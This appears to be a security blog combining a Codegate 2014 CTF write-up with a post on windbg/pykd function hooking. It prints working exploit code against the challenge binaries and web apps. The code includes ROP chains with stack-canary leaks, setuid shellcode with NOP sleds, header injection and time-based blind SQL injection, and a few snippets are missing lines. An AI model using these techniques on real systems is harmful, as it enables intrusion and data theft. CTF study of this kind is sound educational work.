I came across a pop esp in real code, which I think is a kind of confusing instruction. i.e. What is the value of esp after the following?

push    0x0400
pop     esp

What does pop esp do? People who look at x86 asm more than me no doubt know. But to understand let’s look at what pop eax basically does.

add esp, 4       ;"instruction" 1
mov eax, [esp]   ;"instruction" 2

What is the order of operations here? There could be two solutions – it could be 0x0400 (if it increments esp first – instruction 1 then 2) – or esp could be 0x0404 (if the increment is second – instruction 2 then 1).

It turns out the second is what happens. So if you guessed that esp is 0x0400, you’re right!

Belated Codegate 2014 Quals Writeups and Lessons Learned

The local challenges can be grabbed from here and various other writeups are online. I was off on the timing for this one, so I only dove into most the challenges on Sunday morning… right before codegate ended and after it ended. I did pretty terrible rank-wise, but I thought the challenges were fun anyway and solved some after the codegate was over.

I learn new things almost every CTF, even if it’s sometimes just things that make sense intuitively but I’ve just never thought about before or forgotten. Here are some lessons learned from codegate.

  • stack canaries on linux stay constant and you can get them with an info leak. On windows there is more entropy and this wouldn’t have been as straightforward (see Pwn 250)
  • ulimit -s pretty much defeats ASLR if you’re local. Also, there are areas you can overwrite in this space, like in the syscall mappings, to control the instruction pointer (See Pwn 350 and Pwn 400)
  • To control the number of bytes output locally, you can use non-blocking sockets (see Pwn 400)
  • gdb really can’t find gs: segments very well, but there are usually workarounds (see Pwn 350)
  • You can’t call openprocess with all access on a process being debugged (i.e. you can’t open two debuggers on the same process, even if it’s been forked) but you can openprocess with PROCESS_VM_READ. (reversing 250 – although I ended up going a different route)
  • I wrote a Pykd script that can be called on a windbg breakpoint and continue based on python stuff e.g. you could do a conditional break on a regex which seems tough in windbg without writing a script. (see reversing 250)
  • SQLmap has a cool testbed where you can test your sql syntax, available at https://github.com/sqlmapproject/testenv (used to test web 500)

Reversing 200 dodoCrackme

Running strace

$ strace ./crackme_d079a0af0b01789c01d5755c885da4f6 
execve("./crackme_d079a0af0b01789c01d5755c885da4f6", ["./crackme_d079a0af0b01789c01d575"...], [/* 37 vars */]) = 0
mmap(NULL, 30000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7ffff7ff6000
write(1, "r", 1r)                        = 1
write(1, "o", 1o)                        = 1
write(1, "o", 1o)                        = 1
write(1, "t", 1t)                        = 1
write(1, "@", 1@)                        = 1
write(1, "l", 1l)                        = 1
write(1, "o", 1o)                        = 1
write(1, "c", 1c)                        = 1
write(1, "a", 1a)                        = 1
write(1, "l", 1l)                        = 1
write(1, "h", 1h)                        = 1
write(1, "o", 1o)                        = 1
write(1, "s", 1s)                        = 1
write(1, "t", 1t)                        = 1
write(1, "'", 1')                        = 1
write(1, "s", 1s)                        = 1
write(1, " ", 1 )                        = 1
write(1, "p", 1p)                        = 1
write(1, "a", 1a)                        = 1
write(1, "s", 1s)                        = 1
write(1, "s", 1s)                        = 1
write(1, "w", 1w)                        = 1
write(1, "o", 1o)                        = 1
write(1, "r", 1r)                        = 1
write(1, "d", 1d)                        = 1
write(1, ":", 1:)                        = 1

it looks like they’re doing syscalls for every character written and read

Most of the binary is garbage, but you can see clusters of syscalls where the output and input happen. Looking in IDA, there are four clusters of syscalls. One outputs the fail, one outputs “Enter root password”, one is a huge loop that inputs the password, and one outputs winner.

With gdb, I recorded executions and executed backworkds until I was in the giant input loop. At that point I started searching for the password was as an offset to rbp, since this is how it outputs strings as syscalls. Sure enough, I found it pretty quickly.

import gdb
import binascii
import sys

def read_weird_string(start_addr, spacing=8, block=100):
    a = gdb.selected_inferior().read_memory(start_addr, block * spacing)
    #for i in range(0,block):
    #   print
    #print help(a)
    for i in a:
        if i == "\x00":
    print binascii.hexlify(a)

read_weird_string(0x7ffff7ff9b50) #this is $rbp - around 50
gdb-peda$ source decode_string.py 

Reversing 250 Clone Technique

This one has on the description: “Limited processes will be generated. Which one has the flag?”

We can see in the main function that it will call createProcessW in a loop that lasts 0x190 iterations, so that’s our number of processes.


Each process is called with three args, #randomlookingnumber# #randomlookingnumber# #counter#, where counter is 0,1,2,…

One thing I tried to do throughout this was put a breakpoint on memory access. For example,

ba w4 00409754

The value would change, but the breakpoint is never hit. Crazy! After some investigation with Joe, we eventually figured out this is because ba works by putting a break in one of four registers per processes. In our case, the memory is written to using a call to WriteProcessMemory, and the kernel is writing the memory, so our breakpoint is never hit.

Investigating this led to the cinit function, which is called before main and contains the calls to writeprocessmemory. It starts with code that grabs the command line args if they exist (and if not sets them to the first value. It then pushes them along with this interesting data string to a function, messes with a string it returns, and then 0s out that string. Even without looking at what the decode_func is doing, it looks like a likely place for a key!


My strategy was then to attach windbg to every one of these forked processes by turning childdbg on, changing the filters to control when it breaks, and set a breakpoint right before the rep stosd. I then wrote a python script to see if this is a candidate for the key.

>type windbg.txt
.childdbg 1
.load pykd.pyd
sxe -c "bp 00401201 \"!py iskey.py\";g"  ibp
sxi epr

>type iskey.py

import pykd
import struct
import binascii

def is_possible_key(mstr):
    mstr = mstr[:mstr.index(0)]
  except ValueError:
    return False
  print mstr
  for i in mstr:
    if not (i >= 0x20 and i <= 0x7e):
      return False
  if len(mstr) > 5:
    print "".join([chr(i) for i in mstr])
    return True
  return False

edi = pykd.reg("edi")
a = pykd.loadBytes(edi,30)
if is_possible_key(a):

>windbg -c "$$><windbg.txt" clone_technique.exe

This finds our key ‘And Now His Watch is Ended’

Forensics 150

Ok, so our file is a pcap-ng apparently based on the magic bytes, but it doesn’t open with wireshark


First I ran foremost on the file, which detected a pdf and a bmp. I then ran a few tools found here http://www.forensicswiki.org/wiki/PDF on the pdf but no luck. Looking at it, it’s


Ok, so we might have to fix the pcap-ng file to view this correctly. I don’t know much about the format, but I opened it in a hex editor and searched for DWORD hex(4270407998), which is \x3e \x41 \x89 \xfe. I replaced this with DWORD 96 and got a similar error. Then I kind of brute forced – set it to 0x30 and got a different error. 0x40 gave a too big error. It took about 10 tries of manual binary searching, and then I got a format I could open in wireshark and follow the tcp stream.


Then just save the pdf part to a file and we get the key


Pwn 250 Angy Doraemon

This was a fun, relatively straightforward challenge. It’s a remote exploit. The bug is in the mouse function. When it reads the answer to “are you sure?” it reads 0x6E bytes into a buffer only a few bytes big.


The hard part is you have to bypass a non-executable stack and a stack canary. This is possible via an info leak. Because we can write over the end of our string, we can see other values on the stack, such as the canary and the fd. One interesting thing I learned is how on Linux the stack canary seems to be constant per process (on windows, as Matt Miller said, Windows cookies are basically an XOR’d combination of the current system time, process identifier, thread identifier, tick count, and performance counter.)

So you leak the canary, then you have to rop a payload. execl is in the .got, and I used some fancy redirecting to send the output right back through the socket. You need the file descriptor, but it’s on the stack and you need it anyway I think to do a read from the socket.


import argparse
import struct
import socket
import binascii
import time

class exploit:
  def __init__(self, args):
    self.command = args.command

    if args.fd == None:
      self.fd = args.fd

    if args.canary == None:
      self.canary = binascii.unhexlify(args.canary)

  def get_canary(self):
    self.canary = ""
    padding = "yAAAAAAAAA"
    #doing one byte at a time simplifies cases where there are null bytes
    for i in range(0,4):
      sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
      sock.connect((args.host, args.port))
      data = self.recv_until(">", sock)

      self.recv_until("(y/n) ", sock)
      data = self.recv_until("\"MOUSE!!!!!!!!! (HP - 25)\"", sock)
      if len(data) == 58 + i:
        self.canary += "\x00"
        self.canary += data[22+i]
      padding += "A"
    print "canary: ", binascii.hexlify(self.canary)

  def get_fd(self):
    self.canary = ""
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((args.host, args.port))
    data = self.recv_until(">", sock)

    self.recv_until("(y/n) ", sock)
    data = self.recv_until("\"MOUSE!!!!!!!!! (HP - 25)\"", sock)
    self.fd = ord(data[42])
    print "fd: ", self.fd

  def pwn(self):

    rop = struct.pack("<I", 0x08048620)       # read plt
    rop += struct.pack("<I", 0x8048b2c)       # pop 3 ret
    rop += struct.pack("<I", self.fd)         # fd
    rop += struct.pack("<I", 0x804b508)       # buf 
    rop += struct.pack("<I", 0x256)           # nbytes
    rop += struct.pack("<I", 0x08048710)      # execl
    rop += struct.pack("<I", 0x41424142)      # ret
    rop += struct.pack("<I", 0x0804970D)      # /bin/sh
    rop += struct.pack("<I", 0x0804970D)      # /bin/sh
    rop += struct.pack("<I", 0x804b508)       # buf "-c"
    rop += struct.pack("<I", 0x804b508 + 3)   # buf "command"
    rop += struct.pack("<I", 0x0000000)       # null

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((args.host, args.port))
    data = self.recv_until(">", sock)
    self.recv_until("(y/n) ", sock)

    padding = "yAAAAAAAAA"
    padding += self.canary
    padding += "B" * 12
    sock.sendall(padding + rop)

    self.command += " 0<&{0} 1>&{0}".format(self.fd) #redirect output to our socket

    data = sock.recv(1024)   
    print data

  def recv_until(self, string, sock):
    data = ""
    while True:
      tmp = sock.recv(1)
      if tmp == "":
      data += tmp
      if data.endswith(string):
    return data

parser = argparse.ArgumentParser()
parser.add_argument("--host", default="")
parser.add_argument("--port", default=8888)
parser.add_argument("--canary", default=None)
parser.add_argument("--command", default="whoami")
parser.add_argument("--fd", default=None, type=int)
args = parser.parse_args()

m = exploit(args)

Pwn 350 4stone

This is a binary that plays a game locally, sort of like connect 4. All the interesting things happen if you win the game with 0 time (which you can do with a constant strategy – this took me longer than it should have). If you do win, it grabs some input from stdin.


As you can see from the following snippet, you get an “arbitrary” write (marked in red). There is a catch though. You can write anywhere, as long as it doesn’t start with 0x804, or 0x0b.


The stack is executable, so if we could overwrite anything, then we’d be sitting good. Unfortunately, most everything by default starts at 0x804 or 0x0b.

gdb-peda$ vmmap 
Start      End        Perm	Name
0x08048000 0x0804a000 r-xp	/home/mopey/games/4stone/4stone
0x0804a000 0x0804b000 r-xp	/home/mopey/games/4stone/4stone
0x0804b000 0x0804c000 rwxp	/home/mopey/games/4stone/4stone
0x0804c000 0x0806d000 rwxp	[heap]
0xb7dc2000 0xb7dc3000 rwxp	mapped
0xb7dc3000 0xb7dc6000 r-xp	/lib/i386-linux-gnu/libdl-2.17.so
0xb7dc6000 0xb7dc7000 r-xp	/lib/i386-linux-gnu/libdl-2.17.so
0xb7dc7000 0xb7dc8000 rwxp	/lib/i386-linux-gnu/libdl-2.17.so
0xb7dc8000 0xb7f76000 r-xp	/lib/i386-linux-gnu/libc-2.17.so
0xb7f76000 0xb7f78000 r-xp	/lib/i386-linux-gnu/libc-2.17.so
0xb7f78000 0xb7f79000 rwxp	/lib/i386-linux-gnu/libc-2.17.so
0xb7f79000 0xb7f7d000 rwxp	mapped
0xb7f7d000 0xb7f9b000 r-xp	/lib/i386-linux-gnu/libtinfo.so.5.9
0xb7f9b000 0xb7f9c000 ---p	/lib/i386-linux-gnu/libtinfo.so.5.9
0xb7f9c000 0xb7f9e000 r-xp	/lib/i386-linux-gnu/libtinfo.so.5.9
0xb7f9e000 0xb7f9f000 rwxp	/lib/i386-linux-gnu/libtinfo.so.5.9
0xb7f9f000 0xb7fc2000 r-xp	/lib/i386-linux-gnu/libncurses.so.5.9
0xb7fc2000 0xb7fc3000 r-xp	/lib/i386-linux-gnu/libncurses.so.5.9
0xb7fc3000 0xb7fc4000 rwxp	/lib/i386-linux-gnu/libncurses.so.5.9
0xb7fdb000 0xb7fdd000 rwxp	mapped
0xb7fdd000 0xb7fde000 r-xp	[vdso]
0xb7fde000 0xb7ffe000 r-xp	/lib/i386-linux-gnu/ld-2.17.so
0xb7ffe000 0xb7fff000 r-xp	/lib/i386-linux-gnu/ld-2.17.so
0xb7fff000 0xb8000000 rwxp	/lib/i386-linux-gnu/ld-2.17.so
0xbffdf000 0xc0000000 rwxp	[stack]

hmmm, we can write to the heap, but that’s tough. What can we do locally? My initial thought was to make the stack big enough so it wasn’t in the 0x0b range, then potentially overwrite a return pointer. There’s aslr on, but we might be able to brute force it. So I started filling up the stack with an execve call, but hit a limit. Ok, we can set this with ulimit. I tried this, and set it to unlimited, and something interesting happened. The mapping then looks something like this:

gdb-peda$ vmmap 
Start      End        Perm	Name
0x08048000 0x0804a000 r-xp	/home/mopey/games/4stone/4stone
0x0804a000 0x0804b000 r-xp	/home/mopey/games/4stone/4stone
0x0804b000 0x0804c000 rwxp	/home/mopey/games/4stone/4stone
0x0804c000 0x0806d000 rwxp	[heap]
0x40000000 0x40020000 r-xp	/lib/i386-linux-gnu/ld-2.17.so
0x40020000 0x40021000 r-xp	/lib/i386-linux-gnu/ld-2.17.so
0x40021000 0x40022000 rwxp	/lib/i386-linux-gnu/ld-2.17.so
0x40022000 0x40023000 r-xp	[vdso]
0x40023000 0x40025000 rwxp	mapped
0x4003c000 0x4005f000 r-xp	/lib/i386-linux-gnu/libncurses.so.5.9
0x4005f000 0x40060000 r-xp	/lib/i386-linux-gnu/libncurses.so.5.9
0x40060000 0x40061000 rwxp	/lib/i386-linux-gnu/libncurses.so.5.9
0x40061000 0x4007f000 r-xp	/lib/i386-linux-gnu/libtinfo.so.5.9
0x4007f000 0x40080000 ---p	/lib/i386-linux-gnu/libtinfo.so.5.9
0x40080000 0x40082000 r-xp	/lib/i386-linux-gnu/libtinfo.so.5.9
0x40082000 0x40083000 rwxp	/lib/i386-linux-gnu/libtinfo.so.5.9
0x40083000 0x40084000 rwxp	mapped
0x40084000 0x40232000 r-xp	/lib/i386-linux-gnu/libc-2.17.so
0x40232000 0x40234000 r-xp	/lib/i386-linux-gnu/libc-2.17.so
0x40234000 0x40235000 rwxp	/lib/i386-linux-gnu/libc-2.17.so
0x40235000 0x40238000 rwxp	mapped
0x40238000 0x4023b000 r-xp	/lib/i386-linux-gnu/libdl-2.17.so
0x4023b000 0x4023c000 r-xp	/lib/i386-linux-gnu/libdl-2.17.so
0x4023c000 0x4023d000 rwxp	/lib/i386-linux-gnu/libdl-2.17.so
0x4023d000 0x4023e000 rwxp	mapped
0xbffdf000 0xc0000000 rwxp	[stack]

And a lot of these addresses, like libc, don’t change, even with ASLR! (apparently this is well known, but this is the first I’ve seen it). So where can we write in one of methods? The only function call after our arbitrary write is to exit, which makes a system call. Maybe we can overwrite that?

Tracing this, in the exit .got we have

0x40084000 0x40232000 r-xp	/lib/i386-linux-gnu/libc-2.17.so

   0x4013eb04 <_exit>:	mov    ebx,DWORD PTR [esp+0x4]
   0x4013eb08 <_exit+4>:	mov    eax,0xfc
=> 0x4013eb0d <_exit+9>:	call   DWORD PTR gs:0x10

It turns out gdb sucks at finding the actual address of gs:0x10 sections, so I stepped into it, or you can also find it like this http://stackoverflow.com/questions/10354063/how-to-use-a-logical-address-in-gdb by setting “catch syscall set_thread_area” and looking at the location. Doing this, we see 0x40022414 is mapped to <__kernel_vsyscall>

Because this is bound loosely we can look for references to this in the mapped region.

gdb-peda$ peda searchmem 0x40022414 mapped (searching for the syscall)
Found 1 results, display max 1 items:
mapped : 0x4023d6d0 --> 0x40022414 (<__kernel_vsyscall>:	push   ecx)

It looks like we could overwrite this and it would point somewhere else. Does it work?

gdb-peda$ set {int}0x4023d6d0=0x0c0c0c0c
gdb-peda$ continue 
Stopped reason: SIGSEGV
0x0c0c0c0c in ?? ()

Cool. So using this, we can put our shellcode in an environment variable, put a ton of nops there, and point to it. This was the final exploit


import os
import argparse
import struct
import sys
from ctypes import *

class exploit:
  def __init__(self, args):
    self.vulnpath = args.path

    #stdin (wins the game and specifies what to write)
    f = open(args.inputfile, "w")
    #f.write("c0c0c0c0")  #what to write 
    f.write("bfab0b00")  #what to write 


    f = os.open(args.inputfile, int('444', 8))
    print f
    print sys.stdin
    os.dup2(f, 0)

    #arg1 (sepcifies where to write)   
    self.argv = "4023d6d0" 

    #environment (shellcode) /bin/sh setuid 1003
    dashsc = (
"\xdb\xc8\xd9\x74\x24\xf4\xbf\xa2\x35\xcc\x83\x5b\x31\xc9" +
"\xb1\x0b\x83\xeb\xfc\x31\x7b\x14\x03\x7b\xb6\xd7\x39\xb2" +
"\x76\xa7\x84\x0e\x9d\xcb\x08\x71\xd8\x27\x0b\x71\x1a\x75" +
"\x8c\x40\xda\xd5\xe5\x8d\xf5\xa6\x9d\xb9\x26\x2b\x37\x54" +

    self.env = { "TERM": "xterm" }
    for i in range(0,100):
      self.env[str(i)] = "\x90" * 100000 + dashsc

  def pwn(self):
    os.execve( self.vulnpath, [self.vulnpath, self.argv], self.env)
parser = argparse.ArgumentParser()
parser.add_argument("--inputfile", default="input.txt")

args = parser.parse_args()
m = exploit(args)

Pwn 400 minibomb

The overflow on this is straightforward, but the executable is tiny, and there’s not a lot of rop you can do. Using the ulimit -s unlimited trick, you only have a handful of gadgets.

gdb-peda$ x/4i 0x40000424
   0x40000424 <__kernel_vsyscall+16>:	pop    ebp
   0x40000425 <__kernel_vsyscall+17>:	pop    edx
   0x40000426 <__kernel_vsyscall+18>:	pop    ecx
   0x40000427 <__kernel_vsyscall+19>:	ret   
gdb-peda$ x/2i 0x080480F3
   0x80480f3:	mov    ebx,0x0
   0x80480f8:	int    0x80

We can control edx and ecx with the gadget at 0x40000425, and another interesting thing is we may be able to control ebx indirectly if we can write to unk_8049150

.text:080480B4 lea     ebx, unk_8049150 ; start
.text:080480BA int     80h             ; 

We have almost all we need for a system call, except we don’t have eax anywhere. After some research, one thing that’s promising is both “read” and “write” will return eax to the value of bytes read or written. My first thought was if I could set ecx or edx with the gadget at 0x40000425 then I might be able to use one of the existing reads or writes to control eax. This is close to working, like if they would mov eax, 4 (syswrite) immmediately before the int 80, it would have worked. But unfortunately there’s no flow like that. They all move eax, 4 at the beginning, then set all the args afterward.

I was stuck here, but luckily the good thing about trying this one late is there are solutions posted. This is an excellent writeup, and I used it to cheat: http://mslc.ctf.su/wp/codegate-2014-quals-minibomb-pwn-400/. They set a nonblocking socket to control how much could be written. Cool! I never would’ve though of that.

Using More Smoked Leet Chicken’s technique


import socket
import time

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("", 30123))

while True:
  conn, ts = s.accept()
  conn.sendall("/tmp/blah\x00 ")
  print "got connection"

import argparse
import struct
import socket
import time
from subprocess import *

class exploit:
  def __init__(self, args):

    self.vulnpath = args.path

    padding = "A" * 16

    rop = struct.pack("<I", 0x40000425)  #pop edx, pop ecx, ret
    rop += struct.pack("<I", 11)         #edx (length)
    rop += struct.pack("<I", 0x08049150) #ecx (buffer)
    #eax is 3 due to pipe
    rop += struct.pack("<I", 0x08048143) #read syscall.. 0804812C to read from stdin?

    #eax is 11 due to read 11
    rop += struct.pack("<I", 0x40000425)  #pop edx, pop ecx, ret
    rop += struct.pack("<I", 0)  
    rop += struct.pack("<I", 0)  
    rop += struct.pack("<I", 0x080480B4)

    self.payload = padding + rop

  def pwn(self):
    out_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    out_sock.connect(("", 30123))

    #find the right value
    out_sock.sendall("A" * eval(args.sendsize))

    p = Popen(self.vulnpath, shell=True, stdin=PIPE, stdout=out_sock)


parser = argparse.ArgumentParser()
parser.add_argument('--path', default="./minibomb")
parser.add_argument('--sendsize', default=0)

args = parser.parse_args()
m = exploit(args)
$ ulimit -s
$ cat /tmp/blah 
#!/bin/bash -p

/usr/bin/id > /tmp/output
$ python exploit.py --sendsize='4096 * 332 + 1024 + 256 + 64 + 32 +19' --path="./minibomb"
$ cat /tmp/output 
uid=1000(test) gid=1000(test) groups=1000(test)

Web 200

I banged my head against this one for a while. In the comments was
I tried things like looking for .htaccess, etc, but no luck.

This looked promising

this looks promising

But you only get the first two lines back and the content length. But it turns out there’s a header injection!

GET /188f6594f694a3ca082f7530b5efc58dedf81b8d/index.php?url=localhost%2F188f6594f694a3ca082f7530b5efc58dedf81b8d%2Fadmin/+HTTP/1.0%0d%0aHost:+localhost%0d%0aRange:+bytes%3d372-430%0d%0a%0d%0a HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive

This responds with


Cool. Requesting it directly, even with the header, still gives a forbidden. But we can reuse the header injection enough and we can play around with the bytes.

GET /188f6594f694a3ca082f7530b5efc58dedf81b8d/index.php?url=localhost%2F188f6594f694a3ca082f7530b5efc58dedf81b8d%2Fadmin/+HTTP/1.0%0d%0aHost:+hackme%0d%0aRange:+bytes%3d76-127%0d%0a%0d%0a HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive

In the response is: Password is WH0_IS_SnUS_bI1G_F4N

Web 500

They give us this source.


$link = @mysql_connect('localhost', '', '');
@mysql_select_db('', $link);

function RandomString()
  $filename = "smash.txt";
  $f = fopen($filename, "r");
  $len = filesize($filename);
  $contents = fread($f, $len);
  $randstring = '';
  while( strlen($randstring)<30 ){
    $t = $contents[rand(0, $len-1)];
    $randstring .= $t;
  return $randstring;

$max_times = 120;

if ($_SESSION['cnt'] > $max_times){

if ( !isset($_SESSION['cnt'])){

  $query = "delete from rms_120_pw where ip='$_SERVER[REMOTE_ADDR]'";

  $query = "insert into rms_120_pw values('$_SERVER[REMOTE_ADDR]', '$_SESSION[password]')";
$left_count = $max_times-$_SESSION['cnt'];

if ( $_POST['password'] ){
  if (eregi("replace|load|information|union|select|from|where|limit|offset|order|by|ip|\.|#|-|/|\*",$_POST['password'])){
    exit("Wrong access");

  $query = "select * from rms_120_pw where (ip='$_SERVER[REMOTE_ADDR]') and (password='$_POST[password]')";
  $q = @mysql_query($query);
  $res = @mysql_fetch_array($q);


<link rel="stylesheet" type="text/css" href="black.css">

<form method=post action=index.php>
  <h1> <?= $left_count ?> times left </h1>
  <div class="inset">
    <label for="password">PASSWORD</label>
    <input type="password" name="password" id="password" >
  <p class="p-container">
    <span onclick=location.href="auth.php"> Auth </span>
    <input type="submit" value="Check">

The sqli is relatively straightforward. You can have a True/false query like this.


But we have only 120 guesses*, and the password is quite long at 30 chars. This returns true


so that means we have only an average of four queries per letter, or 120 guesses for the whole 30 character password. They are lower case at least, so that can reduce our queries by quite a bit, but if we query all the bits, that’s 5 per letter and is too many with a true/false query (which would need 5 per letter). And if you do a straight binary search of the 30 char password, that’s on the order of a few hundred per session*

But, we really have more than true/false – we have an arbitrary number of states. true, false, and timing. We can sleep different amounts of times, etc. For example, we’re only lacking one bit, so we could ask, is the next bit 1 (return true), 0 (return false), or are all the bits 1 (sleep 10 seconds).
The query ended up pretty complicated, and I had to add some code that checked sanity to make sure letters were being decoded correctly.*


import urllib
import httplib
import time
import argparse
import sys

class web500:
    def __init__(self, host="", port=80, session="", check_iter=-1, debug=False):
        self.conn = httplib.HTTPConnection(host, port)
        if session == "":
            self.session = self.get_session()
            print "Creating SESSION=" + self.session
            self.session = session
        self.check_iter = check_iter
        self.debug = debug
        self.upperlimit = 120
        self.passwd = ""
    def pwn(self):
        for letter in range(0,30):
            dstr = ""
            if self.check_iter != -1:
                letter = int(self.check_iter)
            for bit in range(8,3,-1):
                self.upperlimit -=1
                if self.upperlimit < 0:
                    print "ERROR: Went over limit :("
                this_char = "LPAD(BIN(ORD(SUBSTR(password,{0},1))),8,'0')".format(letter+1)
                this_bit  = "SUBSTR({0},{1},1)".format(this_char, bit)
                if (bit != 4 and not self.debug):
                    #if on binary(password[i])[3:4] == 10: sleep 24
                    #if on binary(password[i])[3:4] == 01: sleep 16
                    #if all more significant bits are 1: sleep 8
                    #if all more significant bits are 0: sleep 4
                    #else: return true if 1, else 0
                    truth = "if(left(SUBSTR({0},4,9),{1})!='10',if(left(SUBSTR({0},4,9),{1})!='01',  if(left(SUBSTR({0},4,9),{1})!='{4}',  if(left(SUBSTR({0},4,9),{1})!='{2}', if({3}=0x31,1,0),sleep(4)),sleep(8)),sleep(16)),sleep(24))".format(this_char, bit-3, "0"*(bit-3), this_bit, "1"*(bit-3))
                    truth = "if({0}=0x31,1,0)".format(this_bit)
                sql = "'or(" + truth + ")and'1"
                param= "password=" + urllib.quote(sql)
                self.conn.putrequest("POST", "/5a520b6b783866fd93f9dcdaf753af08/index.php")
                self.conn.putheader("Content-length", str(len(param)))
                self.conn.putheader("Cookie", "PHPSESSID=" + self.session)
                self.conn.putheader("Content-Type", "application/x-www-form-urlencoded")
                t = time.clock()
                resp = self.conn.getresponse()
                data = resp.read()
                t = time.clock() - t
                if t>=24:
                    dstr = "10" + dstr
                elif t>=16:
                    dstr = "01" + dstr
                elif t >= 8:
                    dstr = dstr.rjust(5,"1")
                elif t >= 4:
                    dstr = dstr.zfill(5)
                elif "True" in data:
                    dstr = "1" + dstr
                    dstr = "0" + dstr
            print "Index:", letter, "Value", dstr, "Iter:", self.upperlimit
            self.passwd += self.bin_tochar(dstr)
            if self.check_iter != -1:
        print "PASSWORD: ", self.passwd
    def bin_tochar(self, c):
        return chr(int("011" + c, 2))
    def get_session(self):
        self.conn.putrequest("GET", "/5a520b6b783866fd93f9dcdaf753af08/index.php")
        resp = self.conn.getresponse()
        data = resp.read()
        return resp.getheader("Set-Cookie").split("=")[1].split(";")[0]
parser = argparse.ArgumentParser()
parser.add_argument("--session", default="")
parser.add_argument("--checkIter", default=-1)
parser.add_argument("--debug", action="store_true")
args = parser.parse_args()
a = web500(session=args.session, check_iter=args.checkIter, debug=args.debug)


Logging in with this password gives us the key:

Congrats! the key is DontHeartMeBaby*$#@!

*If I noticed it, I should’ve done it like other people and noticed I could have just supplied a different sessionID. This looks way easier http://tunz.tistory.com/109

Soft Function Hooking with windbg and pykd

There are a lot of ways to modify the execution of a program, including at least using Windows Compatibility Toolkit (a good reference is Mark Baggett’s Derbycon talk), modifying the environment, manual patching the binary before it runs, and function hooking.  Function hooking generally refers to any method where you’re able to intercept and modify function calls of a running process. A simple example of a function hook might be “every time the program calls AESEncrypt, first save the plaintext to a file and then call AESEncrypt”.

There are also many different ways to function hook, and in my opinion there isn’t really a “best” way – it just depends on what you’re trying to do. For example, if you’re doing something to try to be sneaky, one of the best ways may be like Joe outlines here:

  1. Reflectively load your DLL using powershell so nothing needs to ever touch disk
  2. In your DLL, write a C function that contains the functionality to execute. Optionally, return control to the original function
  3. Overwrite the first bytes of the function to jump to your DLL

However, if your goal is to change the behavior of a program and you don’t care about stealth (e.g. you’re just using hooking as an aid to testing) there are easier ways to accomplish the same goal. “soft” function hooking usually refers to attaching a debugger to a program and using the debugger’s functionality to modify the behavior. I’ve seen this approach elsewhere – in gray hat python, they use this technique with pydbg and immunitydbg.

I learned about pykd because of mona for windb. I messed with pykd last week, and I like it quite a bit (at least more than windbg plugin alternatives I’ve used like powerdbg). There are pluses and minuses when compared with something like immunity debugger. Pykd doesn’t currently have nearly the number of convenience functions immunitydbg has (for example, you have to store your strings in memory manually). UPDATE:  In this case I was looking for something like remotevirtualalloc and didn’t see it. But @corelanc0d3r pointed me at windbglib, which has these exact convenience functions.   But Windbg is just a more powerful debugger. For example, immunitydbg is awesome, but it doesn’t work with 64 bit processes, following children processes, kernel debugging, etc.

Here is a simple example. I ran into a situation where a team’s test box had a hard coded a test server to listen only on localhost. This can be a pain to debug, because a lot of my tools are on other boxes and plus I can’t do things like see what’s actually going on with wireshark. This is a quick script that modifies the behavior of inet_addr, which is where this binary passed the hard coded localhost to (if you’re wondering why I didn’t just patch it – that was an option too, but there was some other important stuff right next to it in .data and ‘localhost’ was too small to fit my IP). So this hook simply grabs the current IP and passes it as the arg to inet_addr instead of “localhost”

Some things I got a bit stuck on

  1. Use the second argument with setBP to have a callback function on the breakpoints, and then use this to modify things. Note you can’t mess with execution within the function itself. Before going this route I tried to use the EventHandlers (like onBreakPoint) and ended up with weird errors.
  2. Within your callback function, if you return True (or nothing), execution will halt, and if you return False then execution will continue
import pykd
import socket
#pykd script to modify inet_addr calls to a supplied IP address

def getAddress(localAddr):
    res = pykd.dbgCommand("x " + localAddr)
    if res.count("\n") > 1:
        print "[-] Warning, more than one result for", localAddr
    return res.split()[0]

class handle_inet(pykd.eventHandler):
	def __init__(self):
		self.localAddr = socket.gethostbyname(socket.gethostname())
		print "[+] Using ip address: " + self.localAddr

		bp_init = getAddress("WS2_32!inet_addr")
		self.bp_init = pykd.setBp(int(bp_init, 16), self.handle_inet_begin)
		self.bp_end = None

	def handle_inet_begin(self, args):
		print args
		print "[+] At start of inet_addr."
		ow_len = len(self.localAddr) + 1

		#just save our string below us on the stack. We'll restore it on return
		#ret_addr = pykd.dbgCommand("k1").split("\n")[1].split()[1] #k doesn't work in win7, wtf
		self.ret_addr = pykd.dbgCommand("dd esp L1").split()[1]

		print "[+] saving return ptr: " + self.ret_addr

		self.bp_end = pykd.setBp(int(self.ret_addr, 16), self.handle_inet_end)
		self.stack_addr = pykd.reg("esp") + 500

		print "[+] using this stack address to save our string: " + hex(self.stack_addr)

		self.old_stack = pykd.loadBytes(self.stack_addr, ow_len)
		print "[+] Writing over old stack stuff"
		pykd.dbgCommand("ea " + hex(self.stack_addr) + " \"" + self.localAddr + '"')
		#null terminate
		pykd.dbgCommand("eb " + hex(self.stack_addr) + "+" + hex(len(self.localAddr)) + " 00")

		#esp + 4 is the IP address parameter for inet_addr
		pykd.dbgCommand("ed esp+4 " + hex(self.stack_addr))

        #Since this is a conditional bp, this makes the debugger continue
		return False

	def handle_inet_end(self, bp):
		if self.bp_end == bp:
                        print "[+] Call complete"
			old_stack = " ".join([hex(i)[2:] for i in self.old_stack])
			pykd.dbgCommand("eb " + hex(self.stack_addr) + " " + old_stack)
			print "[+] Old stack stuff restored"
			self.bp_end = None
		#Since this is a conditional bp, this makes the debugger continue
		return False

d_handle = handle_inet()

